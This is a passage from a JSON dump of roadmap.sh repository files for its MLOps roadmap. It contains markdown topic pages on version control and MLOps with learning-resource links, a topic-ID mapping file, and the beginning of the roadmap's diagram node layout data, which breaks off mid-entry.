    "content": "# Version Control\n\nVersion control is a system that records changes to a file or set of files over time so that you can recall specific versions later. It allows multiple people to collaborate on the same project without overwriting each other's work. This system tracks modifications to code, configurations, data, and other artifacts, providing a history of changes and enabling easy rollback to previous states.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Git & GitHub Roadmpa](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@Git Documentation](https://git-scm.com/docs)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@article@Getting Started with Git and GitHub: A Complete Tutorial for Beginner](https://towardsdatascience.com/learn-basic-git-commands-for-your-data-science-works-2a75396d530d/)\n- [@feed@Explore top posts about Version Control](https://app.daily.dev/tags/version-control?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/what-is-mlops@IghGpwAFVB067uOosmoDC.md",
    "content": "# What is MLOps?\n\nMLOps, short for Machine Learning Operations, is a set of practices that aims to reliably and efficiently deploy and maintain machine learning models in production. It bridges the gap between model development (Data Scientists) and model deployment (Operations), emphasizing automation, monitoring, and collaboration throughout the entire machine learning lifecycle. Think of it as DevOps, but specifically tailored for the unique challenges of machine learning.\n\nVisit the following resources to learn more:\n\n- [@book@MLOps Engineering at Scale - Carl Osipov](http://103.203.175.90:81/fdScript/RootOfEBooks/E%20Book%20collection%20-%202025%20-%20C/CSE%20%20IT%20AIDS%20ML/MLOps%20Engineering%20at%20Scale%20-%20Carl%20Osipov%20(Manning,%202022).pdf)\n- [@article@What is MLOps?](https://aws.amazon.com/what-is/mlops/)\n- [@article@MLOps Explained: A Deep Dive into Machine Learning Operations](https://hermanmotcheyo.medium.com/mlops-explained-a-deep-dive-into-machine-learning-operations-ab9342c5c90d)\n- [@article@Machine Learning Operations (MLOps) For Beginners](https://towardsdatascience.com/machine-learning-operations-mlops-for-beginners-a5686bfe02b2/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@MLOps vs DevOps: Differences, Overlaps, and Use Cases](https://www.datacamp.com/blog/mlops-vs-devops)\n- [@article@MLOps: What It Is, Why It Matters, and How to Implement It](https://neptune.ai/blog/mlops)\n- [@video@What is MLOps?](https://www.youtube.com/watch?v=OejCJL2EC3k)\n- [@video@MLOps Explained - What It Is, Why You Need It and How It Works](https://www.youtube.com/watch?v=biqYkVf-a7Y)"
  },
  {
    "path": "src/data/roadmaps/mlops/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/mlops/migration-mapping.json",
    "content": "{\n  \"programming-fundamentals\": \"_7uvOebQUI4xaSwtMjpEd\",\n  \"programming-fundamentals:python\": \"Vh81GnOUOZvDOlOyI5PwT\",\n  \"programming-fundamentals:golang\": \"vdVq3RQvQF3mF8PQc6DMg\",\n  \"programming-fundamentals:bash\": \"mMzqJF2KQ49TDEk5F3VAI\",\n  \"version-control-systems\": \"oUhlUoWQQ1txx_sepD5ev\",\n  \"version-control-systems:git\": \"06T5CbZAGJU6fJhCmqCC8\",\n  \"version-control-systems:github\": \"7t7jSb3YgyWlhgCe8Se1I\",\n  \"cloud-computing\": \"00GZcwe25QYi7rDzaOoMt\",\n  \"cloud-computing:aws-azure-gcp\": \"u3E7FGW4Iwdsu61KYFxCX\",\n  \"cloud-computing:cloud-native-ml-services\": \"kbfucfIO5KCsuv3jKbHTa\",\n  \"containerization\": \"tKeejLv8Q7QX40UtOjpav\",\n  \"containerization:docker\": \"XIdCvT-4HyyglHJLRrHlz\",\n  \"containerization:kubernetes\": \"XQoK9l-xtN2J8ZV8dw53X\",\n  \"ml-fundamentals\": \"ulka7VEVjz6ls5SnI6a6z\",\n  \"data-eng-fundamentals\": \"VykbCu7LWIx8fQpqKzoA7\",\n  \"data-eng-fundamentals:data-pipelines\": \"cOg3ejZRYE-u-M0c89IjM\",\n  \"data-eng-fundamentals:data-lakes-warehouses\": \"wOogVDV4FIDLXVPwFqJ8C\",\n  \"data-eng-fundamentals:data-ingestion-architecture\": \"Berd78HvnulNEGOsHCf8n\",\n  \"data-eng-fundamentals:data-pipelines:airflow\": \"pVSlVHXIap0unFxLGM-lQ\",\n  \"data-eng-fundamentals:spark\": \"UljuqA89_SlCSDWWMD_C_\",\n  \"data-eng-fundamentals:kafka\": \"fMNwzhgLgHlAZJ9NvKikR\",\n  \"data-eng-fundamentals:flink\": \"o6GQ3-8DgDtHzdX6yeg1w\",\n  \"mlops-principles\": \"iTsEHVCo6KGq7H2HMgy5S\",\n  \"mlops-components\": \"l1xasxQy2vAY34NWaqKEe\",\n  \"mlops-components:version-control\": \"kHDSwlSq8WkLey4EJIQSR\",\n  \"mlops-components:ci-cd\": \"a6vawajw7BpL6plH_nuAz\",\n  \"mlops-components:orchestration\": \"fes7M--Y8i08_zeP98tVV\",\n  \"mlops-components:experiment-tracking\": \"fGGWKmAJ50Ke6wWJBEgby\",\n  \"mlops-components:data-lineage\": \"6XgP_2NLuiw654zvTyueT\",\n  \"mlops-components:model-training\": \"zsW1NRb0dMgS-KzWsI0QU\",\n  \"mlops-components:monitoring\": \"r4fbUwD83uYumEO1X8f09\",\n  \"infra-as-code\": \"sf67bSL7HAx6iN7S6MYKs\"\n}"
  },
  {
    "path": "src/data/roadmaps/mlops/mlops.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"i_A9OSIbpoRw8siik74KT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 200.84147172248663,\n        \"y\": 907.5243058676606\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"positionAbsolute\": {\n        \"x\": 200.84147172248663,\n        \"y\": 907.5243058676606\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"7zgx29rLsHEuBkCACkyi8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -482.02532545570534,\n        \"y\": 573.4965695331865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 106,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 106\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.02532545570534,\n        \"y\": 573.4965695331865\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 106\n      }\n    },\n    {\n      \"width\": 132,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -46.73195037554086,\n        \"y\": -179.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MLOps\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -46.73195037554086,\n        \"y\": -179.55566976101449\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 8.768049624459138,\n        \"y\": -243.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 8.768049624459138,\n        \"y\": -243.55566976101449\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 15.405057155248713\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rQArtuVKGVgLn_fw9yO3b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 15.405057155248713\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FbfHP9hFBuISrGzKaX-qm\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shout out to Maria Vechtomova who helped make this roadmap.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 348,\n      \"height\": 148,\n      \"style\": {\n        \"width\": 348,\n        \"height\": 148\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 348,\n        \"height\": 148\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LinkedIn Profile\",\n        \"href\": \"https://www.linkedin.com/in/maria-vechtomova/\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#dedede\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vh81GnOUOZvDOlOyI5PwT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.84147172248663,\n        \"y\": -38.59494284475129\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.84147172248663,\n        \"y\": -38.59494284475129\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vdVq3RQvQF3mF8PQc6DMg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.84147172248663,\n        \"y\": 14.405057155248713\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.84147172248663,\n        \"y\": 14.405057155248713\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mMzqJF2KQ49TDEk5F3VAI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.84147172248663,\n        \"y\": 67.40505715524871\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.84147172248663,\n        \"y\": 67.40505715524871\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oUhlUoWQQ1txx_sepD5ev\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 159.82372041354537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 159.82372041354537\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"06T5CbZAGJU6fJhCmqCC8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 251.70194132402605,\n        \"y\": 159.82372041354537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 251.70194132402605,\n        \"y\": 159.82372041354537\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7t7jSb3YgyWlhgCe8Se1I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.70194132402605,\n        \"y\": 159.82372041354537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.70194132402605,\n        \"y\": 159.82372041354537\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t768fYHleFqdEL4KKLxUu\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -435.38840663342205,\n        \"y\": 15.405057155248713\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#dedede\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -435.38840663342205,\n        \"y\": 15.405057155248713\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X3qWG4PYD3XLoK_-JBwJ_\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -517.4487115461421,\n        \"y\": 28.905057155248713\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.4487115461421,\n        \"y\": 28.905057155248713\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"00GZcwe25QYi7rDzaOoMt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 301.2262524348043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Computing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tKeejLv8Q7QX40UtOjpav\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 301.2262524348043\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u3E7FGW4Iwdsu61KYFxCX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 248.3414717224867,\n        \"y\": 280.1080587312499\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS / Azure / GCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 248.3414717224867,\n        \"y\": 280.1080587312499\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kbfucfIO5KCsuv3jKbHTa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 248.3414717224867,\n        \"y\": 333.1080587312499\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud-native ML Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 248.3414717224867,\n        \"y\": 333.1080587312499\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tKeejLv8Q7QX40UtOjpav\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 451.3531923133914\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containerization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 451.3531923133914\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LOTsf9hmAVwt06ZulhoIi\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -520.8639110926986,\n        \"y\": 159.82372041354537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"NEqSbf3TeV9XDXwehKZNL\",\n            \"label\": \"AI & Data Scientist\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          },\n          {\n            \"id\": \"IGwANbaE-b9GlmAFYUjFe\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"oDWm-Br59939RG0IJmofV\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"eAm4DKNyPQMbSpJFpy-0R\",\n            \"label\": \"Python Roadmap\",\n            \"url\": \"https://roadmap.sh/python\"\n          },\n          {\n            \"id\": \"hdkeX4rocCNh8KqHSh7S3\",\n            \"label\": \"Go Roadmap\",\n            \"url\": \"https://roadmap.sh/golang\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 227,\n      \"positionAbsolute\": {\n        \"x\": -520.8639110926986,\n        \"y\": 159.82372041354537\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 227\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 227\n      }\n    },\n    {\n      \"id\": \"XIdCvT-4HyyglHJLRrHlz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 249.763301245604,\n        \"y\": 427.49656953318646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 249.763301245604,\n        \"y\": 427.49656953318646\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XQoK9l-xtN2J8ZV8dw53X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 249.763301245604,\n        \"y\": 480.4965695331865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 249.763301245604,\n        \"y\": 480.4965695331865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ulka7VEVjz6ls5SnI6a6z\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 575.1003675650747\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Machine Learning Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qbaxC-hB857MKE6Uq_3-t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 575.1003675650747\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -130.23195037554086,\n        \"y\": 702.317764812742\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Engineering Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qbaxC-hB857MKE6Uq_3-t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.23195037554086,\n        \"y\": 702.317764812742\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cOg3ejZRYE-u-M0c89IjM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": 648.9022665810186\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Pipelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": 648.9022665810186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wOogVDV4FIDLXVPwFqJ8C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": 701.9022665810186\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Lakes & Warehouses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": 701.9022665810186\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      